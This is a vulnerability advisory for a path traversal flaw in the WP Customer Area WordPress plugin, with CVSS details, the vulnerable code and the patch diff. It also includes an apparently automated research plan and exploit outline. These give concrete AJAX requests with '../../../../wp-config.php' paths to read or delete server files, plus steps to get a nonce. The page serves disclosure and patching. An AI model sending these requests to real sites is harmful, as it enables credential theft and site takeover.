CVE-2026-3464

WP Customer Area <= 8.3.4 - Authenticated (Subscriber+) Arbitrary File Read/Deletion via ajax_attach_file

highImproper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
8.8
CVSS Score
8.8
CVSS Score
high
Severity
8.3.5
Patched in
1d
Time to patch

Description

The WP Customer Area plugin for WordPress is vulnerable to arbitrary file read and deletion due to insufficient file path validation in the 'ajax_attach_file' function in all versions up to, and including, 8.3.4. This makes it possible for authenticated attackers with a role that an administrator grants access to (e.g., Subscriber) to to read the contents of arbitrary files on the server, which can contain sensitive information, or delete arbitrary files on the server, which can easily lead to remote code execution when the right file is deleted (such as wp-config.php).

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Unchanged
High
Confidentiality
High
Integrity
High
Availability

Technical Details

Affected versions<=8.3.4
PublishedApril 17, 2026
Last updatedApril 17, 2026
Affected plugincustomer-area

What Changed in the Fix

Changes introduced in v8.3.5

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

# Research Plan: CVE-2026-3464 - WP Customer Area Path Traversal ## 1. Vulnerability Summary The **WP Customer Area** plugin (versions <= 8.3.4) is vulnerable to an authenticated path traversal vulnerability within the `ajax_attach_file` function. The vulnerability arises from insufficient validati…

Show full research plan

Research Plan: CVE-2026-3464 - WP Customer Area Path Traversal

1. Vulnerability Summary

The WP Customer Area plugin (versions <= 8.3.4) is vulnerable to an authenticated path traversal vulnerability within the ajax_attach_file function. The vulnerability arises from insufficient validation of the file path parameter when attaching files to "Private File" posts via AJAX. An attacker with minimal permissions (e.g., Subscriber, provided an administrator has granted the cuar_add_private_files or cuar_edit_private_files capability) can read or delete arbitrary files on the server by supplying relative paths (e.g., ../../../../wp-config.php).

2. Attack Vector Analysis

  • Endpoint: /wp-admin/admin-ajax.php
  • AJAX Action: cuar_attach_file (inferred from the function name ajax_attach_file mentioned in the CVE).
  • HTTP Method: POST
  • Vulnerable Parameter: file (or path / filename). Based on src/php/core-addons/private-file/private-file-default-handlers.class.php, the handler for ftp-folder and server methods processes file paths.
  • Authentication: Authenticated. Requires a user with a role possessing cuar_add_private_files or cuar_edit_private_files (e.g., a Subscriber if configured in the plugin settings).
  • Preconditions:
    • The "Capabilities" settings must allow the attacker's role to manage private files.
    • A valid nonce for the attachment action is required.

3. Code Flow

  1. The user sends a POST request to admin-ajax.php with the action cuar_attach_file.
  2. The ajax_attach_file function (likely in the private-file addon) is triggered.
  3. The function verifies a nonce (e.g., using check_ajax_referer).
  4. The function calls the hook cuar/private-content/files/on-attach-file with the user-supplied method and file parameters.
  5. If method=ftp-folder is used, CUAR_PrivateFilesDefaultHandlers::attach_ftp_file (in private-file-default-handlers.class.php) is executed.
  6. The handler processes the file string. If it contains ../, it traverses out of the intended directory.
  7. Read Vector: If the attachment is "added", the plugin may move/copy the file to the post's private storage folder (wp-content/customer-area/storage/), making it accessible via the plugin's frontend download mechanism.
  8. Delete Vector: When removing an attachment, CUAR_PrivateFilesDefaultHandlers::remove_attached_local_file is called, which executes unlink($filepath) on the traversed path.

4. Nonce Acquisition Strategy

The plugin localizes AJAX configurations and nonces for its frontend editor.

  1. Identify Shortcode: The "Create Private File" or "Edit Private File" pages are typically generated using the [customer-area-edit-content] or [customer-area-create-content] shortcode.
  2. Setup Page: Use WP-CLI to create a page with the frontend creator shortcode:
    wp post create --post_type=page --post_title="Create File" --post_status=publish --post_content='[customer-area-create-content]'
    
  3. Navigate and Extract:
    • Log in as the Subscriber.
    • Navigate to the newly created page.
    • The nonce and AJAX config are likely stored in the cuar_private_files_upload_config or cuar_frontend_editor global JS object.
    • JS Retrieval:
      // Example targets
      window.cuar_private_files_upload_config?.nonce
      window.cuar_private_files_upload_config?.attach_file_nonce
      

5. Exploitation Strategy

Step 1: Privilege Escalation (Setup)

By default, Subscribers cannot manage files. We must simulate a configuration where an admin has granted this.

wp cap add 'subscriber' 'cuar_add_private_files'
wp cap add 'subscriber' 'cuar_edit_private_files'

Step 2: Attach Arbitrary File (Read Attempt)

  1. Identify a post_id of a Private File post owned by the attacker.
  2. Send the following request:
POST /wp-admin/admin-ajax.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded

action=cuar_attach_file&post_id=[POST_ID]&method=ftp-folder&file=../../../../wp-config.php&nonce=[NONCE]

Step 3: Access the File

  1. Navigate to the Private File post in the frontend.
  2. Locate the download link for the newly "attached" wp-config.php.
  3. Download and read the contents.

Step 4: Arbitrary File Deletion (RCE Vector)

If the above works, the same traversal can likely be used in the removal action:

POST /wp-admin/admin-ajax.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded

action=cuar_remove_file&post_id=[POST_ID]&file=../../../../wp-config.php&nonce=[NONCE]

Note: The action name might be cuar_remove_attached_file or similar based on remove_attached_local_file filter hooks.

6. Test Data Setup

  1. Users: Create a user victim_sub with the subscriber role.
  2. Permissions: Grant subscriber the capabilities cuar_add_private_files and cuar_edit_private_files via WP-CLI.
  3. Content: Create a page with the [customer-area-create-content] shortcode.
  4. Target File: Ensure a sensitive file exists (e.g., wp-config.php).

7. Expected Results

  • Read: The cuar_attach_file AJAX request returns a success status. A new attachment appears on the Private File post. Downloading this attachment reveals the contents of wp-config.php.
  • Delete: The removal AJAX request returns success, and the file wp-config.php is deleted from the WordPress root directory.

8. Verification Steps

  1. Check Attachment: Use WP-CLI to verify the metadata of the post:
    wp post meta list [POST_ID]
    
    Look for keys related to attachments (e.g., _cuar_attachments) containing the traversed path.
  2. Verify Deletion:
    ls /var/www/html/wp-config.php
    # Should return "No such file or directory" if successful
    

9. Alternative Approaches

  • Method server: If method=ftp-folder fails, try method=server. The logic in CUAR_PrivateFilesDefaultHandlers::unique_server_filename also handles paths.
  • Frontend Form: Instead of raw AJAX, use browser_click and browser_type to fill out the "Add attachment" form if the plugin uses a specific UI component (like Summernote or a custom uploader) that can be manipulated via JS.
Research Findings
Static analysis — not yet PoC-verified

Summary

The WP Customer Area plugin for WordPress (<= 8.3.4) is vulnerable to authenticated arbitrary file read and deletion via path traversal. An attacker with private file management capabilities can manipulate path parameters in AJAX actions to copy sensitive files (like wp-config.php) to a public directory or delete arbitrary files on the server.

Vulnerable Code

// src/php/core-addons/private-file/private-file-default-handlers.class.php
public function attach_ftp_file($errors, $filename, $initial_filename, $post_id, $method, $extra, $post_type)
{
    // ...
    $src_folder = trailingslashit($pf_addon->get_ftp_path());
    $src_path = $src_folder . $initial_filename; // Line 423: No validation on $initial_filename

    $dest_folder = trailingslashit($po_addon->get_private_storage_directory($post_id, true, true));
    $dest_path = $dest_folder . $filename;

    if (@copy($src_path, $dest_path)) // Line 428: Arbitrary file read via copy
    {
        if ($extra == 'ftp-move')
        {
            @unlink($src_path); // Line 432: Arbitrary file deletion
        }
    }

---

// src/php/core-classes/addon-edit-content-page.class.php
public function ajax_delete_image()
{
    // ...
    // Line 924: Unvalidated path construction
    $file_to_delete = $upload_locations['basedir']
                      . apply_filters('cuar/private-content/editor-images/subdir-upload-location', '/customer-area/')
                      . $data['subdir'] . '/' . $data['name'];

    // Check if file exists
    if (!file_exists($file_to_delete))
    {
        wp_send_json_error(__('It looks like the file you tried to delete does not exists.', 'cuar'));
    }
    
    // ...

    // Delete file
    if (!unlink($file_to_delete)) // Line 953: Arbitrary file deletion via path traversal
    {
        wp_send_json_error(__('This file cannot be deleted, please contact site administrator.', 'cuar'));
    }
}

Security Fix

diff -ru /home/deploy/wp-safety.org/data/plugin-versions/customer-area/8.3.4/src/php/core-addons/private-file/private-file-default-handlers.class.php /home/deploy/wp-safety.org/data/plugin-versions/customer-area/8.3.5/src/php/core-addons/private-file/private-file-default-handlers.class.php
--- /home/deploy/wp-safety.org/data/plugin-versions/customer-area/8.3.4/src/php/core-addons/private-file/private-file-default-handlers.class.php	2023-07-21 10:39:52.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/customer-area/8.3.5/src/php/core-addons/private-file/private-file-default-handlers.class.php	2026-04-16 09:37:14.000000000 +0000
@@ -420,16 +420,44 @@
         $po_addon = $this->plugin->get_addon('post-owner');
 
         $src_folder = trailingslashit($pf_addon->get_ftp_path());
+        $src_folder_real = realpath($src_folder);
+
+        $initial_filename = (string) $initial_filename;
+        $is_invalid_filename = (
+            $initial_filename === ''
+            || strpos($initial_filename, "\0") !== false
+            || basename($initial_filename) !== $initial_filename
+            || strpos($initial_filename, '/') !== false
+            || strpos($initial_filename, '\\') !== false
+        );
+
         $src_path = $src_folder . $initial_filename;
+        $src_real = $is_invalid_filename ? false : realpath($src_path);
+
+        $src_folder_real_normalized = $src_folder_real !== false ? wp_normalize_path(trailingslashit($src_folder_real)) : '';
+        $src_real_normalized = $src_real !== false ? wp_normalize_path($src_real) : '';
+
+        if (
+            $src_folder_real === false
+            || $src_real === false
+            || strpos($src_real_normalized, $src_folder_real_normalized) !== 0
+            || !is_file($src_real)
+            || !is_readable($src_real)
+        )
+        {
+            $errors[] = sprintf(__('An error happened while copying %s from the FTP folder', 'cuar'), $filename);
+
+            return $errors;
+        }
 
         $dest_folder = trailingslashit($po_addon->get_private_storage_directory($post_id, true, true));
         $dest_path = $dest_folder . $filename;
 
-        if (@copy($src_path, $dest_path))
+        if (@copy($src_real, $dest_path))
         {
-            if ($extra == 'ftp-move')
+            if (isset($extra) && $extra === 'ftp-move')
             {
-                @unlink($src_path);
+                @unlink($src_real);
             }
         }
         else

Exploit Outline

The exploit requires an authenticated session with a role granted the 'cuar_add_private_files' or 'cuar_edit_private_files' capability (which an administrator can assign to Subscribers). 1. Authenticate as a user with the required permissions and navigate to the frontend 'Create Private File' page to obtain a valid AJAX nonce from the localized JavaScript objects (e.g., `cuar_private_files_upload_config`). 2. To read arbitrary files: Invoke the `cuar_attach_file` AJAX action via a POST request to `/wp-admin/admin-ajax.php`. Provide `method=ftp-folder` and set the `file` parameter to a traversed path such as `../../../../wp-config.php`. The plugin will copy the target file into the private storage directory associated with a post the attacker owns. 3. Access the copied file by downloading the 'attachment' from the post's frontend page. 4. To delete arbitrary files: Invoke the `cuar_delete_image` AJAX action (used by the Summernote editor). Provide a path-traversed `subdir` or `name` parameter (e.g., `subdir=../../../../` and `name=wp-config.php`). The plugin will execute `unlink()` on the resulting path.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.